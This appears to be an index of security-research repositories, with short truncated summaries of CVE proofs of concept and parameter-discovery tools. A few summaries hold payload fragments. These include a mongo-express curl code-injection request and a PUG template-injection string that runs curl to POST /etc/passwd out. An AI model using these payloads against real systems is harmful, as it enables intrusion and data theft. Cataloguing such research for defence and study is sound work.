VanCleef

VanCleef Rancher 2.1.4 Web Parameter Tampering CVE-2019-11881 ./vancleef.rb rancherip rancherport messagetodisplay double-quoted Example: ./vancleef.rb 192.168.0.1 8080 "Rancher is outdated. Please update following the instructions at http://192.168.0.25/rancher-updating" MITRE CVE Announcement...

CVE-2024-36527

CVE-2024-36527 PoC and Bulk Scanner Overview POC for CVE-2024-36527: puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server. Based on the security advisory published ...

CVE-2023-48788

CVE-2023-48788 Fortinet FortiClient EMS SQL Injection Vulnerabilitiy An exploit proof of concept for FortiClient EMS CVE-2023-48788 Blog Post More details here: https://www.horizon3.ai/attack-research/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive Usage $ python3 CVE-2023-48788.py...

CVE-2026-7229-SQLI

Authenticated SQL Injection in Coaching Management System Allows Database Dump Description A SQL Injection vulnerability exists in the Coaching Management System in PHP. The complaintreply parameter in the admin reply functionality is not properly sanitized before being used in SQL queries. An...

parameth

parameth This tool can be used to brute discover GET and POST parameters Often when you are busting a directory for common files, you can identify scripts for example test.php that look like they need to be passed an unknown parameter. This hopefully can help find them. example scan The -off flag...

CVE-2023-34830---Reflected-XSS-found-in-I-doit-Open-v24-and-below

CVE-2023-34830 - Reflected XSS found in i-doit Open v24 and below i-doit Open v24 and below are vulnerable to Reflected XSS vulnerability. These vulnerabilities could allows remote authenticated attackers to inject arbitrary web script or HTML. Description of product : i-doit is a web based Open...

CVE-2026-80894

A flaw was found in the Linux kernel's iommufd component. During the replacement of a device's I/O Memory Management Unit IOMMU domain, a parameter mismatch occurs where the iommufdhwptreplacedevice function incorrectly uses a new hardware page table hwpt with the handle of the old domain. This...

CVE-2019-10758

CVE-2019-10758 PoC Setup docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL exploit curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor"return...

CVE-2018-16763

Fuel CMS 1.4.1 - Remote Code Execution FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution. Install git clone https://github.com/Trushal2004/CVE-2018-16763.git cd CVE-2018-16763/ python3 -...

PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Vulnerability Information CVE Number: cve-2021-21353 CVSS Score: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

text4shell-cve-2022-42889

Text4Shell CVE-2022-42889 Docker Lab for CVE-2022-42889 You can either build the Docker image locally or pull the image from Docker Hub and run the container. Clone the repo git clone https://github.com/devenes/text4shell-cve-2022-42889.git Build the Docker image locally docker build...

CVE-2026-4060-PoC

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Unauthenticated SQL Injection PoC -blue Unauthenticated attackers can inject arbitrary SQL into the ORDER BY clause via the sort parameter of the Geo Mashup render-map endpoint, enabling time-based blind extraction of sensitive database information. Table of...

joomla_CVE-2023-23752

joomlaCVE-2023-23752 Joomla - a request parameter breaks through the Rest API Affected version ​ Joomla roughly has three routing entries, which are index.php in the root directory users access articles administrator/index.php in the root directory administrator management api/index.php in the ro...

CVE-2025-5287

🔥 WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Unauthenticated SQL Injection 🧠 CVE ID: CVE-2025-5287 Discovered by: KhaledAlenazi Nxploited Published on: 27 May, 2025 📋 Description The Likes and Dislikes Plugin for WordPress is vulnerable to SQL Injection through the post parameter in all versio...

CVE-2025-52399-SQLi-Institute-of-Current-Students

CVE-2025-52399 - SQL Injection in Institute of Current Students Summary The loginlinkfaculty endpoint in the Institute-of-Current-Students application is vulnerable to SQL Injection via the fid POST parameter. The parameter is not properly sanitized before being used in a SQL query, allowing remo...

x8-Burp

This app is no longer supported The tool helps to find hidden parameters that can be vulnerable or can reveal interesting functionality that other hunters miss. Greater accuracy is achieved thanks to the line-by-line comparison of pages, comparison of response code and reflections. Features...

PoC-CVE-2024-24034

CVE-2024-24034 Title: The S.I.L 3.0 is vulnerable to Open Redirect via the "hprinter" parameter. Date: 2024-01-11 Author: Elizeu Das Dores Vendor Homepage: https://www.setorinformatica.com/ Version: 3.0 POC CVE-2024-24034 The "hprinter" parameter redirects the user whenever an error occurs in the...

CVE-2024-45241

POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf Vulnerability Overview CVE Identifier: CVE-2024-45241 Product: CentralSquare CryWolf False Alarm Management Affected Component: GeneralDocs.aspx Vulnerability Type: Path Traversal Discovery Date: 2024-08-09 Description A path travers...

CVE-2024-4577

CVE-2024-4577: Critical Vulnerability in PHP's CGI Configurations A severe security flaw exists in PHP's CGI mode that allows attackers to run arbitrary commands by manipulating URL parameters. Impacted Versions PHP versions before 7.4.29 and 8.0.19 on Windows running php-cgi. Attack Methodology...

CVE-2024-29671-POC

NEXTU FLETA Wifi6 Router RCE Exploit POC This document describes how the CVE-2024-29671 vulnerability was exploited in the NEXTU FLATA AX1500 Router firmware. Execution Environment This router is based on the MIPS architecture using the Realtek chipset with Little-Endian. The target router firmwa...